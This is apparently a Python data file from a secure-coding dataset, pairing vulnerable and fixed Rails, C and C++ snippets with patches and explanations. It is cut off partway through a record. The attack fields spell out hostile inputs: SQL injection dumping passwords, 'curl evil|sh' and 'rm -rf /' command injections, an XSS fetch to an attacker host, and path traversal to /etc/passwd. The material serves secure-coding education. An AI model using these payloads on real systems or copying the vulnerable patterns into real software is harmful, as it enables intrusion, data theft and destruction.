SecureCodePairs / scripts /data_ext.py
ismailtasdelen's picture
Release v1.2.0: SecureCodePairs (470 code pairs + 30 LLM security trajectories)
2ef05ec verified
Raw
History Blame Contribute Delete
75.5 kB
#!/usr/bin/env python3
"""SecureCodePairs v1.1.0 extension records (SCP-000051+).
Additional languages: Ruby, C, C++, Scala.
New domains: fintech, FHIR/healthcare, Kubernetes, IoT.
New paradigms: GraphQL, gRPC.
Every record is hand-authored and distinct from the base 50.
"""
from typing import List, Dict
RECORDS_EXT: List[Dict] = [
# ================================================================== RUBY / RAILS ==================================================================
{
"id": "SCP-000051",
"language": "Ruby",
"framework": "Rails",
"title": "SQL injection in Rails find_by with string interpolation",
"description": "A Rails controller builds a LIKE condition by interpolating params into a raw SQL fragment.",
"owasp": "A03:2021 - Injection",
"owasp_api": "API3:2023 - Broken Object Property Level Authorization",
"owasp_llm": "",
"cwe": "CWE-89",
"mitre_attack": "T1190 - Exploit Public-Facing Application",
"severity": "High",
"difficulty": "Beginner",
"vulnerable_code": (
"def search\n"
" term = params[:q]\n"
" # Vulnerable: raw SQL interpolation\n"
" @users = User.where(\"name LIKE '%#{term}%'\")\n"
"end\n"
),
"secure_code": (
"def search\n"
" term = params[:q].to_s\n"
" # Secure: bound parameter\n"
" @users = User.where('name LIKE ?', \"%#{term}%\")\n"
"end\n"
),
"patch": (
"--- a/app/controllers/users_controller.rb\n"
"+++ b/app/controllers/users_controller.rb\n"
"@@ -2,4 +2,4 @@\n"
"- @users = User.where(\"name LIKE '%#{term}%'\")\n"
"+ @users = User.where('name LIKE ?', \"%#{term}%\")\n"
),
"root_cause": "User input is interpolated into a SQL fragment instead of bound as a parameter.",
"attack": "q=%' UNION SELECT email,password FROM users -- dumps credentials.",
"impact": "Confidentiality loss: arbitrary data disclosure.",
"fix": "Use ActiveRecord bound parameters or named placeholders for all user input.",
"guideline": "Never interpolate into SQL fragments; bind parameters via ? or named placeholders.",
"tags": ["sqli", "rails", "ruby", "activerecord"],
"metadata": {"domain": "E-commerce", "input_source": "query_param", "auth_required": False},
},
{
"id": "SCP-000052",
"language": "Ruby",
"framework": "Rails",
"title": "Mass assignment via update_attributes",
"description": "A Rails action updates a model from the whole params hash, allowing role escalation.",
"owasp": "A04:2021 - Insecure Design",
"owasp_api": "API3:2023 - Broken Object Property Level Authorization",
"owasp_llm": "",
"cwe": "CWE-915",
"mitre_attack": "T1190 - Exploit Public-Facing Application",
"severity": "High",
"difficulty": "Beginner",
"vulnerable_code": (
"def update\n"
" @user = User.find(params[:id])\n"
" # Vulnerable: mass assignment of all params\n"
" @user.update_attributes(params[:user])\n"
"end\n"
),
"secure_code": (
"def update\n"
" @user = User.find(params[:id])\n"
" # Secure: permit only intended fields\n"
" @user.update(user_params)\n"
"end\n\n"
"private\n\n"
"def user_params\n"
" params.require(:user).permit(:display_name, :bio, :avatar_url)\n"
"end\n"
),
"patch": (
"--- a/app/controllers/users_controller.rb\n"
"+++ b/app/controllers/users_controller.rb\n"
"@@ -3,4 +3,10 @@\n"
"- @user.update_attributes(params[:user])\n"
"+ @user.update(user_params)\n"
"+private\n"
"+def user_params\n"
"+ params.require(:user).permit(:display_name, :bio, :avatar_url)\n"
"+end\n"
),
"root_cause": "All request fields are bound to the model, including admin-only attributes like role.",
"attack": "POST user[role]=admin escalates privileges.",
"impact": "Privilege escalation.",
"fix": "Use strong parameters to allowlist assignable fields.",
"guideline": "Always use strong parameters; never update from raw params.",
"tags": ["mass-assignment", "rails", "ruby", "auth"],
"metadata": {"domain": "E-commerce", "input_source": "request_body", "auth_required": True},
},
{
"id": "SCP-000053",
"language": "Ruby",
"framework": "Rails",
"title": "Command injection via backticks",
"description": "A Rails task runs a shell command using backticks with interpolated user input.",
"owasp": "A03:2021 - Injection",
"owasp_api": "",
"owasp_llm": "",
"cwe": "CWE-78",
"mitre_attack": "T1059.004 - Command and Scripting Interpreter: Unix Shell",
"severity": "Critical",
"difficulty": "Beginner",
"vulnerable_code": (
"def export\n"
" name = params[:name]\n"
" # Vulnerable: backticks with interpolation\n"
" output = `./export.sh #{name}`\n"
" render plain: output\n"
"end\n"
),
"secure_code": (
"def export\n"
" name = params[:name].to_s\n"
" # Secure: validated, no shell\n"
" unless name.match?(/\\A[\\w.-]+\\z/)\n"
" return head :bad_request\n"
" end\n"
" output = system('./export.sh', name)\n"
" render plain: output.to_s\n"
"end\n"
),
"patch": (
"--- a/app/controllers/reports_controller.rb\n"
"+++ b/app/controllers/reports_controller.rb\n"
"@@ -2,5 +2,8 @@\n"
"- output = `./export.sh #{name}`\n"
"+ unless name.match?(/\\A[\\w.-]+\\z/)\n"
"+ return head :bad_request\n"
"+ end\n"
"+ output = system('./export.sh', name)\n"
),
"root_cause": "User input is interpolated into a shell command executed via backticks.",
"attack": "name=; curl evil|sh executes attacker commands on the host.",
"impact": "Remote code execution.",
"fix": "Avoid shells; pass arguments as an array and validate input.",
"guideline": "Never use backticks/system with interpolated input; validate and use argument arrays.",
"tags": ["command-injection", "rails", "ruby", "rce"],
"metadata": {"domain": "Background workers", "input_source": "query_param", "auth_required": True},
},
{
"id": "SCP-000054",
"language": "Ruby",
"framework": "Rails",
"title": "Insecure deserialization with Marshal",
"description": "A Rails endpoint loads untrusted data with Marshal.load, enabling RCE.",
"owasp": "A08:2021 - Software and Data Integrity Failures",
"owasp_api": "",
"owasp_llm": "",
"cwe": "CWE-502",
"mitre_attack": "T1059 - Command and Scripting Interpreter",
"severity": "Critical",
"difficulty": "Advanced",
"vulnerable_code": (
"def load_state\n"
" data = Base64.decode64(params[:state])\n"
" # Vulnerable: Marshal on untrusted data\n"
" state = Marshal.load(data)\n"
" render json: state\n"
"end\n"
),
"secure_code": (
"def load_state\n"
" # Secure: parse only structured JSON\n"
" state = JSON.parse(params[:state])\n"
" render json: state.slice('theme', 'lang')\n"
"rescue JSON::ParserError\n"
" head :bad_request\n"
"end\n"
),
"patch": (
"--- a/app/controllers/state_controller.rb\n"
"+++ b/app/controllers/state_controller.rb\n"
"@@ -2,5 +2,7 @@\n"
"- state = Marshal.load(data)\n"
"+ state = JSON.parse(params[:state])\n"
"+ render json: state.slice('theme', 'lang')\n"
"+rescue JSON::ParserError\n"
"+ head :bad_request\n"
),
"root_cause": "Marshal executes arbitrary objects during load; untrusted input is unsafe.",
"attack": "Attacker sends a marshalled gadget chain that runs code on load.",
"impact": "Remote code execution.",
"fix": "Replace Marshal with JSON and validate the resulting structure.",
"guideline": "Never unmarshal untrusted data; use JSON + schema validation.",
"tags": ["deserialization", "rails", "ruby", "rce"],
"metadata": {"domain": "E-commerce", "input_source": "request_body", "auth_required": False},
},
{
"id": "SCP-000055",
"language": "Ruby",
"framework": "Rails",
"title": "Weak random token with rand",
"description": "A Rails password-reset token is generated with Kernel#rand, which is predictable.",
"owasp": "A02:2021 - Cryptographic Failures",
"owasp_api": "",
"owasp_llm": "",
"cwe": "CWE-338",
"mitre_attack": "T1600 - Weaken Encryption",
"severity": "High",
"difficulty": "Intermediate",
"vulnerable_code": (
"def issue_token(user)\n"
" # Vulnerable: predictable PRNG\n"
" token = rand(36**16).to_s(36)\n"
" user.update(reset_token: token)\n"
"end\n"
),
"secure_code": (
"def issue_token(user)\n"
" # Secure: CSPRNG\n"
" token = SecureRandom.urlsafe_base64(32)\n"
" user.update(reset_token_digest: Digest::SHA256.hexdigest(token))\n"
" token\n"
"end\n"
),
"patch": (
"--- a/app/services/token_service.rb\n"
"+++ b/app/services/token_service.rb\n"
"@@ -1,5 +1,7 @@\n"
"- token = rand(36**16).to_s(36)\n"
"- user.update(reset_token: token)\n"
"+ token = SecureRandom.urlsafe_base64(32)\n"
"+ user.update(reset_token_digest: Digest::SHA256.hexdigest(token))\n"
"+ token\n"
),
"root_cause": "A non-cryptographic PRNG is used for security tokens, making them guessable.",
"attack": "Attacker predicts the next reset token and takes over accounts.",
"impact": "Account takeover.",
"fix": "Use SecureRandom (CSPRNG) and store only a hash of the token.",
"guideline": "Generate tokens with SecureRandom; never store raw tokens.",
"tags": ["crypto", "rails", "ruby", "tokens"],
"metadata": {"domain": "Authentication systems", "input_source": "server", "auth_required": False},
},
{
"id": "SCP-000056",
"language": "Ruby",
"framework": "Rails",
"title": "IDOR on document download",
"description": "A Rails controller loads a document purely by id without ownership check.",
"owasp": "A01:2021 - Broken Access Control",
"owasp_api": "API1:2023 - Broken Object Level Authorization",
"owasp_llm": "",
"cwe": "CWE-639",
"mitre_attack": "T1190 - Exploit Public-Facing Application",
"severity": "High",
"difficulty": "Beginner",
"vulnerable_code": (
"def show\n"
" # Vulnerable: no tenant/owner scope\n"
" @doc = Document.find(params[:id])\n"
"end\n"
),
"secure_code": (
"def show\n"
" # Secure: scope to current user\n"
" @doc = current_user.documents.find(params[:id])\n"
"rescue ActiveRecord::RecordNotFound\n"
" head :not_found\n"
"end\n"
),
"patch": (
"--- a/app/controllers/documents_controller.rb\n"
"+++ b/app/controllers/documents_controller.rb\n"
"@@ -1,4 +1,6 @@\n"
"- @doc = Document.find(params[:id])\n"
"+ @doc = current_user.documents.find(params[:id])\n"
"+rescue ActiveRecord::RecordNotFound\n"
"+ head :not_found\n"
),
"root_cause": "Object lookup is keyed only by attacker-controllable id, not by ownership.",
"attack": "User changes id to access other tenants' documents.",
"impact": "Cross-tenant data disclosure.",
"fix": "Scope queries to the authenticated principal/tenant.",
"guideline": "Enforce object-level authorization; scope every lookup by owner/tenant.",
"tags": ["idor", "rails", "ruby", "access-control"],
"metadata": {"domain": "E-commerce", "input_source": "path_param", "auth_required": True},
},
{
"id": "SCP-000057",
"language": "Ruby",
"framework": "Rails",
"title": "Reflected XSS via raw HTML",
"description": "A Rails view renders a param inside html_safe, bypassing auto-escaping.",
"owasp": "A03:2021 - Injection",
"owasp_api": "",
"owasp_llm": "",
"cwe": "CWE-79",
"mitre_attack": "T1059.007 - Command and Scripting Interpreter: JavaScript",
"severity": "Medium",
"difficulty": "Beginner",
"vulnerable_code": (
"<!-- greeting.html.erb -->\n"
"<div class=\"greet\"><%= params[:name].html_safe %></div>\n"
),
"secure_code": (
"<!-- greeting.html.erb -->\n"
"<div class=\"greet\"><%= h(params[:name]) %></div>\n"
),
"patch": (
"--- a/app/views/greeting.html.erb\n"
"+++ b/app/views/greeting.html.erb\n"
"@@ -1,2 +1,2 @@\n"
"-<div class=\"greet\"><%= params[:name].html_safe %></div>\n"
"+<div class=\"greet\"><%= h(params[:name]) %></div>\n"
),
"root_cause": "html_safe marks untrusted data as safe, disabling Rails auto-escaping.",
"attack": "name=<script>fetch('//evil') executes in victim's session.",
"impact": "Session theft, XSS.",
"fix": "Use default escaped output (<%= %>) and only mark vetted HTML safe.",
"guideline": "Avoid html_safe on user input; rely on Rails escaping by default.",
"tags": ["xss", "rails", "ruby", "reflected"],
"metadata": {"domain": "E-commerce", "input_source": "query_param", "auth_required": False},
},
{
"id": "SCP-000058",
"language": "Ruby",
"framework": "Rails",
"title": "Secret exposed via Rails credentials commit",
"description": "A hardcoded AWS secret is committed in a Rails initializer.",
"owasp": "A05:2021 - Security Misconfiguration",
"owasp_api": "",
"owasp_llm": "",
"cwe": "CWE-798",
"mitre_attack": "T1552.001 - Unsecured Credentials: Credentials In Files",
"severity": "High",
"difficulty": "Beginner",
"vulnerable_code": (
"# config/initializers/aws.rb\n"
"Aws.config.update(\n"
" credentials: Aws::Credentials.new(\n"
" 'AKIAIOSFODNN7EXAMPLE', 'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY'))\n"
),
"secure_code": (
"# config/initializers/aws.rb\n"
"Aws.config.update(\n"
" credentials: Aws::Credentials.new(\n"
" ENV.fetch('AWS_ACCESS_KEY_ID'), ENV.fetch('AWS_SECRET_ACCESS_KEY')))\n"
),
"patch": (
"--- a/config/initializers/aws.rb\n"
"+++ b/config/initializers/aws.rb\n"
"@@ -2,5 +2,5 @@\n"
"- 'AKIAIOSFODNN7EXAMPLE', 'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY'))\n"
"+ ENV.fetch('AWS_ACCESS_KEY_ID'), ENV.fetch('AWS_SECRET_ACCESS_KEY')))\n"
),
"root_cause": "Cloud credentials are hardcoded in source instead of environment/secret store.",
"attack": "Anyone with repo access obtains cloud credentials.",
"impact": "Cloud resource compromise.",
"fix": "Load secrets from env/secret manager; rotate any committed keys.",
"guideline": "Never commit cloud keys; use env vars and rotate on leak.",
"tags": ["secrets", "rails", "ruby", "config"],
"metadata": {"domain": "Microservices", "input_source": "source_code", "auth_required": False},
},
{
"id": "SCP-000059",
"language": "Ruby",
"framework": "Rails",
"title": "Open redirect via return_to parameter",
"description": "A Rails redirect uses an unvalidated return_to parameter.",
"owasp": "A01:2021 - Broken Access Control",
"owasp_api": "",
"owasp_llm": "",
"cwe": "CWE-601",
"mitre_attack": "T1566 - Phishing",
"severity": "Medium",
"difficulty": "Beginner",
"vulnerable_code": (
"def after_sign_in\n"
" # Vulnerable: arbitrary redirect\n"
" redirect_to(params[:return_to] || root_path)\n"
"end\n"
),
"secure_code": (
"def after_sign_in\n"
" target = params[:return_to].to_s\n"
" # Secure: only same-origin relative paths\n"
" if target.start_with?('/') && !target.start_with?('//')\n"
" redirect_to(target)\n"
" else\n"
" redirect_to(root_path)\n"
" end\n"
"end\n"
),
"patch": (
"--- a/app/controllers/sessions_controller.rb\n"
"+++ b/app/controllers/sessions_controller.rb\n"
"@@ -1,4 +1,9 @@\n"
"- redirect_to(params[:return_to] || root_path)\n"
"+ target = params[:return_to].to_s\n"
"+ if target.start_with?('/') && !target.start_with?('//')\n"
"+ redirect_to(target)\n"
"+ else\n"
"+ redirect_to(root_path)\n"
"+ end\n"
),
"root_cause": "Redirect target is taken from user input without same-origin validation.",
"attack": "return_to=//evil.com phishes users post-login.",
"impact": "Phishing, credential theft.",
"fix": "Allowlist relative same-origin paths only.",
"guideline": "Validate redirect targets; reject absolute/protocol-relative URLs.",
"tags": ["open-redirect", "rails", "ruby", "phishing"],
"metadata": {"domain": "Authentication systems", "input_source": "query_param", "auth_required": False},
},
{
"id": "SCP-000060",
"language": "Ruby",
"framework": "Rails",
"title": "CSRF missing on state-changing action",
"description": "A Rails controller disables forgery protection on a destructive action.",
"owasp": "A01:2021 - Broken Access Control",
"owasp_api": "",
"owasp_llm": "",
"cwe": "CWE-352",
"mitre_attack": "T1190 - Exploit Public-Facing Application",
"severity": "Medium",
"difficulty": "Beginner",
"vulnerable_code": (
"class MoneyController < ApplicationController\n"
" skip_before_action :verify_authenticity_token\n"
" def transfer\n"
" current_user.transfer(params[:to], params[:amount])\n"
" end\n"
"end\n"
),
"secure_code": (
"class MoneyController < ApplicationController\n"
" # Secure: keep CSRF protection; use token auth for APIs\n"
" def transfer\n"
" current_user.transfer(params[:to], params[:amount])\n"
" end\n"
"end\n"
),
"patch": (
"--- a/app/controllers/money_controller.rb\n"
"+++ b/app/controllers/money_controller.rb\n"
"@@ -1,4 +1,4 @@\n"
"- skip_before_action :verify_authenticity_token\n"
"+ # CSRF protection retained\n"
),
"root_cause": "Forgery protection is globally skipped, allowing cross-site state changes.",
"attack": "A malicious page auto-submits the transfer form in the victim's session.",
"impact": "Unauthorized money transfer.",
"fix": "Keep CSRF protection; for APIs use token auth + SameSite cookies.",
"guideline": "Never disable CSRF on state-changing actions; use token auth for APIs.",
"tags": ["csrf", "rails", "ruby", "banking"],
"metadata": {"domain": "Banking", "input_source": "request_body", "auth_required": True},
},
# ================================================================== C ==================================================================
{
"id": "SCP-000061",
"language": "C",
"framework": "POSIX",
"title": "Buffer overflow via gets()",
"description": "A C program reads input with gets(), writing past the stack buffer.",
"owasp": "A03:2021 - Injection",
"owasp_api": "",
"owasp_llm": "",
"cwe": "CWE-120",
"mitre_attack": "T1203 - Exploitation for Client Execution",
"severity": "Critical",
"difficulty": "Intermediate",
"vulnerable_code": (
"#include <stdio.h>\n"
"int main(void) {\n"
" char buf[32];\n"
" // Vulnerable: unbounded read into fixed buffer\n"
" gets(buf);\n"
" printf(\"hello %s\\n\", buf);\n"
" return 0;\n"
"}\n"
),
"secure_code": (
"#include <stdio.h>\n"
"int main(void) {\n"
" char buf[32];\n"
" // Secure: bounded read\n"
" if (fgets(buf, sizeof(buf), stdin) == NULL) return 1;\n"
" printf(\"hello %s\", buf);\n"
" return 0;\n"
"}\n"
),
"patch": (
"--- a/main.c\n"
"+++ b/main.c\n"
"@@ -3,6 +3,7 @@\n"
"- gets(buf);\n"
"+ if (fgets(buf, sizeof(buf), stdin) == NULL) return 1;\n"
),
"root_cause": "gets() performs no bounds checking, allowing a stack buffer overflow.",
"attack": "Long input overwrites the return address, redirecting execution to shellcode.",
"impact": "Memory corruption, remote/local code execution.",
"fix": "Use fgets/scanf with explicit bounds; enable stack protections.",
"guideline": "Never use gets(); bound all input reads; compile with -D_FORTIFY_SOURCE.",
"tags": ["buffer-overflow", "c", "memory-safety"],
"metadata": {"domain": "IoT", "input_source": "stdin", "auth_required": False},
},
{
"id": "SCP-000062",
"language": "C",
"framework": "POSIX",
"title": "Format string vulnerability",
"description": "A C program passes user input directly as the printf format string.",
"owasp": "A03:2021 - Injection",
"owasp_api": "",
"owasp_llm": "",
"cwe": "CWE-134",
"mitre_attack": "T1203 - Exploitation for Client Execution",
"severity": "High",
"difficulty": "Intermediate",
"vulnerable_code": (
"#include <stdio.h>\n"
"void log_msg(const char *msg) {\n"
" // Vulnerable: user input as format\n"
" printf(msg);\n"
"}\n"
),
"secure_code": (
"#include <stdio.h>\n"
"void log_msg(const char *msg) {\n"
" // Secure: fixed format, user data as arg\n"
" printf(\"%s\", msg);\n"
"}\n"
),
"patch": (
"--- a/log.c\n"
"+++ b/log.c\n"
"@@ -2,4 +2,4 @@\n"
"- printf(msg);\n"
"+ printf(\"%s\", msg);\n"
),
"root_cause": "Untrusted data is used as the format string, enabling %x/%n reads/writes.",
"attack": "Input %x.%x.%x.%n leaks stack and writes memory.",
"impact": "Information disclosure, memory corruption.",
"fix": "Always use a constant format string with %s for user data.",
"guideline": "Never pass user input as a format string; use printf(\"%s\", x).",
"tags": ["format-string", "c", "memory-safety"],
"metadata": {"domain": "IoT", "input_source": "argv", "auth_required": False},
},
{
"id": "SCP-000063",
"language": "C",
"framework": "POSIX",
"title": "Command injection via system()",
"description": "A C program builds a shell command from user input and runs it via system().",
"owasp": "A03:2021 - Injection",
"owasp_api": "",
"owasp_llm": "",
"cwe": "CWE-78",
"mitre_attack": "T1059.004 - Command and Scripting Interpreter: Unix Shell",
"severity": "Critical",
"difficulty": "Beginner",
"vulnerable_code": (
"#include <stdlib.h>\n"
"void run(const char *fname) {\n"
" // Vulnerable: input into shell\n"
" char cmd[256];\n"
" snprintf(cmd, sizeof(cmd), \"convert %s out.png\", fname);\n"
" system(cmd);\n"
"}\n"
),
"secure_code": (
"#include <spawn.h>\n"
"void run(const char *fname) {\n"
" // Secure: posix_spawn, no shell, validated name\n"
" if (strpbrk(fname, \";&|$\\\"'\") != NULL) return;\n"
" char *argv[] = {\"convert\", (char *)fname, \"out.png\", NULL};\n"
" pid_t pid; posix_spawn(&pid, \"/usr/bin/convert\", NULL, NULL, argv, NULL);\n"
"}\n"
),
"patch": (
"--- a/run.c\n"
"+++ b/run.c\n"
"@@ -2,6 +2,8 @@\n"
"- snprintf(cmd, sizeof(cmd), \"convert %s out.png\", fname);\n"
"- system(cmd);\n"
"+ if (strpbrk(fname, \";&|$\\\"'\") != NULL) return;\n"
"+ char *argv[] = {\"convert\", (char *)fname, \"out.png\", NULL};\n"
"+ posix_spawn(&pid, \"/usr/bin/convert\", NULL, NULL, argv, NULL);\n"
),
"root_cause": "User input is passed to a shell via system(), allowing metacharacter injection.",
"attack": "fname=x.png; rm -rf / runs arbitrary commands.",
"impact": "Remote code execution.",
"fix": "Avoid system(); use posix_spawn/execve with argument arrays and input validation.",
"guideline": "No shell for untrusted input; validate and use exec-family calls.",
"tags": ["command-injection", "c", "rce"],
"metadata": {"domain": "Serverless", "input_source": "argv", "auth_required": False},
},
{
"id": "SCP-000064",
"language": "C",
"framework": "POSIX",
"title": "Integer overflow in allocation size",
"description": "A C program multiplies user-controlled counts without overflow checks before malloc.",
"owasp": "A03:2021 - Injection",
"owasp_api": "",
"owasp_llm": "",
"cwe": "CWE-190",
"mitre_attack": "T1203 - Exploitation for Client Execution",
"severity": "High",
"difficulty": "Advanced",
"vulnerable_code": (
"#include <stdlib.h>\n"
"void *make(size_t n, size_t sz) {\n"
" // Vulnerable: unchecked multiplication\n"
" return malloc(n * sz);\n"
"}\n"
),
"secure_code": (
"#include <stdlib.h>\n"
"void *make(size_t n, size_t sz) {\n"
" // Secure: checked multiplication\n"
" size_t total;\n"
" if (__builtin_mul_overflow(n, sz, &total)) return NULL;\n"
" return malloc(total);\n"
"}\n"
),
"patch": (
"--- a/alloc.c\n"
"+++ b/alloc.c\n"
"@@ -2,4 +2,6 @@\n"
"- return malloc(n * sz);\n"
"+ size_t total;\n"
"+ if (__builtin_mul_overflow(n, sz, &total)) return NULL;\n"
"+ return malloc(total);\n"
),
"root_cause": "Unchecked multiplication can wrap, allocating a tiny buffer for huge input.",
"attack": "n*sz wraps to a small value, then out-of-bounds write corrupts heap.",
"impact": "Heap overflow, potential code execution.",
"fix": "Use checked arithmetic (e.g. __builtin_mul_overflow) before allocating.",
"guideline": "Check integer operations before using them as allocation sizes.",
"tags": ["integer-overflow", "c", "memory-safety"],
"metadata": {"domain": "IoT", "input_source": "argv", "auth_required": False},
},
{
"id": "SCP-000065",
"language": "C",
"framework": "OpenSSL",
"title": "Disabling TLS certificate verification",
"description": "A C client using OpenSSL sets VERIFY_NONE, accepting any certificate.",
"owasp": "A02:2021 - Cryptographic Failures",
"owasp_api": "",
"owasp_llm": "",
"cwe": "CWE-295",
"mitre_attack": "T1557 - Adversary-in-the-Middle",
"severity": "High",
"difficulty": "Intermediate",
"vulnerable_code": (
"#include <openssl/ssl.h>\n"
"void configure(SSL_CTX *ctx) {\n"
" // Vulnerable: no peer verification\n"
" SSL_CTX_set_verify(ctx, SSL_VERIFY_NONE, NULL);\n"
"}\n"
),
"secure_code": (
"#include <openssl/ssl.h>\n"
"void configure(SSL_CTX *ctx) {\n"
" // Secure: require and verify peer cert\n"
" SSL_CTX_set_verify(ctx, SSL_VERIFY_PEER, NULL);\n"
" SSL_CTX_set_default_verify_paths(ctx);\n"
"}\n"
),
"patch": (
"--- a/tls.c\n"
"+++ b/tls.c\n"
"@@ -2,4 +2,5 @@\n"
"- SSL_CTX_set_verify(ctx, SSL_VERIFY_NONE, NULL);\n"
"+ SSL_CTX_set_verify(ctx, SSL_VERIFY_PEER, NULL);\n"
"+ SSL_CTX_set_default_verify_paths(ctx);\n"
),
"root_cause": "Peer certificate verification is disabled, defeating transport security.",
"attack": "On-path attacker presents any cert; traffic is intercepted.",
"impact": "MITM, credential/data interception.",
"fix": "Use SSL_VERIFY_PEER with a valid CA path.",
"guideline": "Always verify peer certificates; never use VERIFY_NONE in production.",
"tags": ["tls", "c", "openssl", "mitm"],
"metadata": {"domain": "IoT", "input_source": "network", "auth_required": False},
},
{
"id": "SCP-000066",
"language": "C",
"framework": "POSIX",
"title": "Use-after-free in request handler",
"description": "A C daemon frees a buffer then continues to use it to build a response.",
"owasp": "A03:2021 - Injection",
"owasp_api": "",
"owasp_llm": "",
"cwe": "CWE-416",
"mitre_attack": "T1203 - Exploitation for Client Execution",
"severity": "High",
"difficulty": "Advanced",
"vulnerable_code": (
"#include <stdlib.h>\n"
"char *build(const char *in) {\n"
" char *buf = malloc(64);\n"
" // Vulnerable: freed then used\n"
" free(buf);\n"
" snprintf(buf, 64, \"%s\", in);\n"
" return buf;\n"
"}\n"
),
"secure_code": (
"#include <stdlib.h>\n"
"char *build(const char *in) {\n"
" char *buf = malloc(64);\n"
" if (!buf) return NULL;\n"
" // Secure: build before free; clear pointer after\n"
" snprintf(buf, 64, \"%s\", in);\n"
" char *out = strdup(buf);\n"
" free(buf);\n"
" return out;\n"
"}\n"
),
"patch": (
"--- a/build.c\n"
"+++ b/build.c\n"
"@@ -4,6 +4,8 @@\n"
"- free(buf);\n"
"- snprintf(buf, 64, \"%s\", in);\n"
"+ snprintf(buf, 64, \"%s\", in);\n"
"+ char *out = strdup(buf);\n"
"+ free(buf);\n"
"+ return out;\n"
),
"root_cause": "Memory is freed before use, leaving a dangling pointer that is later written.",
"attack": "Crafted timing/allocation reuses the freed chunk, enabling corruption.",
"impact": "Memory corruption, potential RCE.",
"fix": "Free only after last use; set pointer to NULL; use ASan in CI.",
"guideline": "Never use after free; null freed pointers; run AddressSanitizer.",
"tags": ["use-after-free", "c", "memory-safety"],
"metadata": {"domain": "Microservices", "input_source": "request_body", "auth_required": False},
},
# ================================================================== C++ ==================================================================
{
"id": "SCP-000067",
"language": "C++",
"framework": "STL",
"title": "SQL injection in C++ ODBC query",
"description": "A C++ service builds an ODBC SQL string by concatenating user input.",
"owasp": "A03:2021 - Injection",
"owasp_api": "",
"owasp_llm": "",
"cwe": "CWE-89",
"mitre_attack": "T1190 - Exploit Public-Facing Application",
"severity": "High",
"difficulty": "Intermediate",
"vulnerable_code": (
"#include <string>\n"
"std::string q(const std::string& user) {\n"
" // Vulnerable: concatenation\n"
" return \"SELECT * FROM users WHERE name='\" + user + \"'\";\n"
"}\n"
),
"secure_code": (
"#include <string>\n"
"std::string q(const std::string& user) {\n"
" // Secure: placeholder for prepared statement\n"
" return \"SELECT * FROM users WHERE name = ?\";\n"
"}\n"
),
"patch": (
"--- a/db.cpp\n"
"+++ b/db.cpp\n"
"@@ -2,4 +2,4 @@\n"
"- return \"SELECT * FROM users WHERE name='\" + user + \"'\";\n"
"+ return \"SELECT * FROM users WHERE name = ?\";\n"
),
"root_cause": "User input concatenated into SQL string instead of bound parameter.",
"attack": "user=' OR '1'='1 dumps all rows.",
"impact": "Data disclosure.",
"fix": "Use prepared statements with bound parameters.",
"guideline": "Parameterize all SQL in C++; never concatenate.",
"tags": ["sqli", "cpp", "odbc"],
"metadata": {"domain": "Banking", "input_source": "query_param", "auth_required": False},
},
{
"id": "SCP-000068",
"language": "C++",
"framework": "Qt",
"title": "Command injection via QProcess shell",
"description": "A Qt app runs a shell command with user input through QProcess using sh -c.",
"owasp": "A03:2021 - Injection",
"owasp_api": "",
"owasp_llm": "",
"cwe": "CWE-78",
"mitre_attack": "T1059.004 - Command and Scripting Interpreter: Unix Shell",
"severity": "Critical",
"difficulty": "Intermediate",
"vulnerable_code": (
"#include <QProcess>\n"
"void run(const QString& file) {\n"
" // Vulnerable: sh -c with input\n"
" QProcess::execute(\"sh\", QStringList() << \"-c\"\n"
" << QString(\"render %1\").arg(file));\n"
"}\n"
),
"secure_code": (
"#include <QProcess>\n"
"void run(const QString& file) {\n"
" // Secure: no shell, arg list, validated\n"
" if (file.contains(QRegularExpression(\"[^A-Za-z0-9_.-]\"))) return;\n"
" QProcess::execute(\"render\", QStringList() << file);\n"
"}\n"
),
"patch": (
"--- a/render.cpp\n"
"+++ b/render.cpp\n"
"@@ -2,6 +2,6 @@\n"
"- QProcess::execute(\"sh\", QStringList() << \"-c\" << QString(\"render %1\").arg(file));\n"
"+ if (file.contains(QRegularExpression(\"[^A-Za-z0-9_.-]\"))) return;\n"
"+ QProcess::execute(\"render\", QStringList() << file);\n"
),
"root_cause": "User input passed to a shell via sh -c allows command injection.",
"attack": "file=x.png; rm -rf ~ runs attacker commands.",
"impact": "Remote code execution.",
"fix": "Avoid sh -c; pass arguments as a list and validate.",
"guideline": "No shell in QProcess for untrusted input; use argument lists.",
"tags": ["command-injection", "cpp", "qt", "rce"],
"metadata": {"domain": "Desktop application", "input_source": "argv", "auth_required": False},
},
{
"id": "SCP-000069",
"language": "C++",
"framework": "STL",
"title": "Path traversal in file open",
"description": "A C++ service opens a file whose path is built from a request parameter.",
"owasp": "A01:2021 - Broken Access Control",
"owasp_api": "",
"owasp_llm": "",
"cwe": "CWE-22",
"mitre_attack": "T1190 - Exploit Public-Facing Application",
"severity": "High",
"difficulty": "Intermediate",
"vulnerable_code": (
"#include <fstream>\n"
"std::string read(const std::string& name) {\n"
" // Vulnerable: raw path from input\n"
" std::ifstream f(\"/var/data/\" + name);\n"
" return std::string(std::istreambuf_iterator<char>(f), {});\n"
"}\n"
),
"secure_code": (
"#include <filesystem>\n"
"std::string read(const std::string& name) {\n"
" // Secure: canonicalize and contain\n"
" auto base = std::filesystem::canonical(\"/var/data\");\n"
" auto p = std::filesystem::weakly_canonical(base / name);\n"
" if (p.parent_path() != base) return {};\n"
" std::ifstream f(p);\n"
" return std::string(std::istreambuf_iterator<char>(f), {});\n"
"}\n"
),
"patch": (
"--- a/io.cpp\n"
"+++ b/io.cpp\n"
"@@ -2,5 +2,9 @@\n"
"- std::ifstream f(\"/var/data/\" + name);\n"
"+ auto base = std::filesystem::canonical(\"/var/data\");\n"
"+ auto p = std::filesystem::weakly_canonical(base / name);\n"
"+ if (p.parent_path() != base) return {};\n"
"+ std::ifstream f(p);\n"
),
"root_cause": "User input builds filesystem paths without canonicalization/containment.",
"attack": "name=../../etc/passwd discloses system files.",
"impact": "Sensitive file disclosure.",
"fix": "Canonicalize and verify the path stays under the base directory.",
"guideline": "Resolve and contain; verify under trusted root.",
"tags": ["path-traversal", "cpp", "file"],
"metadata": {"domain": "Desktop application", "input_source": "request_body", "auth_required": False},
},
{
"id": "SCP-000070",
"language": "C++",
"framework": "STL",
"title": "Weak RNG for session token",
"description": "A C++ service generates session tokens with rand(), which is predictable.",
"owasp": "A02:2021 - Cryptographic Failures",
"owasp_api": "",
"owasp_llm": "",
"cwe": "CWE-338",
"mitre_attack": "T1600 - Weaken Encryption",
"severity": "High",
